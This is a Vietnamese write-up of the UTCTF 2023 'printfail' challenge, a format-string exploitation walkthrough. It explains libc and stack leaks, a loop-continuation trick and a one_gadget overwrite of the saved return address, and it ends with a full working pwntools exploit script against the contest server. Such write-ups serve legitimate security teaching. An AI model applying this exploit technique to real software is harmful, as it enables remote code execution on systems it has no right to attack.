# (writeup) UT_CTF'23
## printfail
- check file

- check ida

- checksec

> full giáp :)))
- đề sẽ nhảy vào hàm **run_round** trước

- phân tích:
- trong file k có hàm đọc flag lẫn system
- hướng chính: ret2libc
- ta sẽ nhập 1 chuỗi bất kì, sau đó nó sẽ so sánh độ dài chuỗi đó với số 1, nếu bé hơn thì đúng còn không sẽ trả về gtri False
- khi trả về False thì sẽ end chương trình
- vì ret2libc nên ta sẽ leak libc từ lỗi fmtstr

- tại %13, nhưng sau khi ta leak thì end mất tiu r, ta phải khiến cho chương trình chạy tiếp
- thì dựa vào hàm **while** trong function ``main`` ta sẽ lặp ở đó
- vậy để lặp thì biến ***v4*** đó vẫn là "1"(True)
- logical thinking: byte newline? (\n), thử nhưng k được, null byte (\0), cũng sai
- để ý thấy:

- sau khi nhập chuỗi bất kì, và sau lệnh *strlen()* thì bước này địa chỉ cuối là ...01
- ``ni`` thì ta lại có :

- tại địa chỉ đó trở về 0 (False) sau lệnh *cmp*
- vậy ta cần làm là khiến nó khác 0
- nhận thấy đó là %7, vậy ta vừa có thể leak libc, vừa khiến ở %7 khác 0
>``%13$p%7$n``
- như vậy chương trình đã cho ta nhập tiếp
- ta cần phải kiểm tra cả libc trên server có trùng với local hay không thì câu trả lời là KHÔNG
- ta sẽ tìm kiếm libc ở web libc.rip
- thì nhận dc ``libc6_2.31-0ubuntu9.9_amd64.so`` là kết quả trùng khớp nhất, ta sẽ pwninit thành "printfail_patched"
- ở bài này ta sẽ sử dụng 1 công cụ là one_gadget để tạo shellcode, one_gadget sẽ ghi đè cái ``__libc_start_main__ret``
- trước khi nhập lần 2 thì ta thấy:

- tại ``__libc_start_main_ret`` là save_rip, thì khi nhận dc hint chất lượng, ta phải khiến stack ở %15 trỏ đến save_rip để thực thi one_gadget
- ta sẽ leak stack ra trước rồi tìm addr_saved_rip
> ``%15$p%7$n``
- lưu ý là tìm addr của save_rip thì ta phải tìm offset, vì stack linh động
> 0x007fffffffde88 - 0x007fffffffdd98
> = 0xf0
- địa chỉ addr_saved_rip:
> ret = stack_leak - 0xf0
- thế thì ta sẽ thay đổi dữ liệu trên stack bằng %c và %n
> ``payload = f'%8c%7$n%{ret & 0xffff - 8}c%15$hn'.encode()``
- ``%8c%7$n`` là để chương trình chạy tiếp, ``ret`` ta ghi 2 byte nên dùng toán tử "&" với 0xffff, "-8" là do phía trước ghi 8 byte của %8c và %15$hn là ở stack màu tím ta đg đề cập tới
- cái tools "one_gadget" thì ta sẽ cắt ra làm 2 phần, 2 byte và 1 byte (do thấy chỉ khác nhau 3 byte thui)
> part1 = one_gadget & 0xffff
part2 = one_gadget >> 16 & 0xff
- về phần offset của one_gadget thì ta cứ để sau, tutu tính

> one_gadet = libc.address + offset
- ta đã ghi đè 2 byte của addr_saved_rip r thì ta sẽ ghi dè tiếp nội dung trong save_rip
>``payload = f'%8c%7$n%{part1 - 8}c%43$hn'.encode()
``
- %43 là của stack tím de88
- sau đó ghi tiếp:
>``payload = f'%8c%7$n%{(ret+2) & 0xffff - 8}c%15$hn'.encode()
``
- "+2" là ghi tiếp 1 byte đã ghi 2 byte trước đó
- rồi ghi tiếp part2
>``payload = f'%{part2}c%43$hhn'.encode()
``
- vì k muốn chạy tiếp vòng lặp nữa nên ở đây bỏ luôn ``%8c%7$n`` và bỏ "-8"
- bước này xong, ta sẽ dừng ngay tại ``ret`` của **main** để kiểm tra thanh ghi, so sánh với one_gadget cái nào thoả thì lấy offset đó
- sau khi chạy execve, ta cần gửi thêm "/bin/sh"

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./printfail_patched',checksec=False)
libc = ELF('./libc6_2.31-0ubuntu9.9_amd64.so',checksec=False)
#p = process(exe.path)
p = remote('puffer.utctf.live', 4630)
#gdb.attach(p, gdbscript='''
#b*run_round+75
#b*main+123
#c
#''')
#input()
payload = b'%13$p%7$n'
p.sendlineafter(b'do-overs.\n',payload)
libc_leak = int(p.recvline()[:-1],16)
libc.address = libc_leak - 147587
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
one_gadget = libc.address + 0xe3b01
log.info("one_gadget: " + hex(one_gadget))
payload = b'%15$p%7$n'
p.sendlineafter(b'chance.\n',payload)
stack_leak = int(p.recvline()[:-1],16)
ret = stack_leak - 0xf0
log.info("stack_leak: " + hex(stack_leak))
log.info("ret: " + hex(ret & 0xffff))
payload = f'%8c%7$n%{ret & 0xffff - 8}c%15$hn'.encode()
p.sendlineafter(b'chance.\n',payload)
part1 = one_gadget & 0xffff
part2 = one_gadget >> 16 & 0xff
payload = f'%8c%7$n%{part1 - 8}c%43$hn'.encode()
p.sendlineafter(b'chance.\n',payload)
payload = f'%8c%7$n%{(ret+2) & 0xffff - 8}c%15$hn'.encode()
p.sendlineafter(b'chance.\n',payload)
payload = f'%{part2}c%43$hhn'.encode()
p.sendlineafter(b'chance.\n',payload)
p.sendline(b'/bin/sh')
p.interactive()
```
> utflag{one_printf_to_rule_them_all}